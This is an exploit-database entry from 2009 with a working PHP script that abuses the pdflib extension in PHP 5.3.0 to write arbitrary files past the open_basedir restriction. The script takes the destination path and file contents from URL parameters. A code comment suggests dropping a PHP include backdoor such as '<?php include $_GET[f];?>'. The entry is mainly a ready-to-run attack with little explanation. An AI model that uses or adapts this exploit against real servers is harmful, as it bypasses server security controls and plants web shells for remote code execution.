PHP 5.3.0 pdflib Arbitrary File Write

2009-11-06T00:00:00
ID 1337DAY-ID-8150
Type zdt
Reporter Sina Yazdanmehr
Modified 2009-11-06T00:00:00

Description

Exploit for unknown platform in category local exploits

                                        
                                            =====================================
PHP 5.3.0 pdflib Arbitrary File Write
=====================================



# Title: PHP 5.3.0 pdflib Arbitrary File Write
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Sina Yazdanmehr
# Published: 2009-11-06
# Verified: yes

view source
print?
Description:
------------
Via this bug , attacker can save a file in path that not allowed in
open_basedir .
 
Reproduce code:
---------------
<?php
// Author : Sina Yazdanmehr (R3d.W0rm) ; Our Site : http://IrCrash.com
if(!extension_loaded('pdf')){
   die('pdf extension required .');  
}else{
    $__PATH = $_GET['p']; /*The path that u want save file in .ex:
/etc/file.php*/
    $__VALUE = $_GET['v']; /*The text that u want save in file .ex:
<?php include $_GET[f];?>*/
    if(!isset($__PATH,$__VALUE)){
        
die('/expl.php?p=[path_u_want_save_file]/[file_name]&v=[value_u_want_sav
e_in_file]');
    }
    $__IRCRASH = pdf_new();
    pdf_open_file($__IRCRASH,$__PATH);
    pdf_begin_page($__IRCRASH,612,792);
    
pdf_add_note($__IRCRASH,100,650,200,750,$__VALUE,'R3d.W0rm','note',0);
    pdf_end_page($__IRCRASH);
    pdf_close($__IRCRASH);
    pdf_delete($__IRCRASH);
    print('<p>IrCrash Security Team .</p>');
    print('<p>' . $__PATH . "\n"  . 'created .</p>');}
?>
 
Expected result:
----------------
When attacker run this code , a file in a path that attacker input in
`p` in url , whith value that attacker input in `v` in url.



#  0day.today [2018-01-03]  #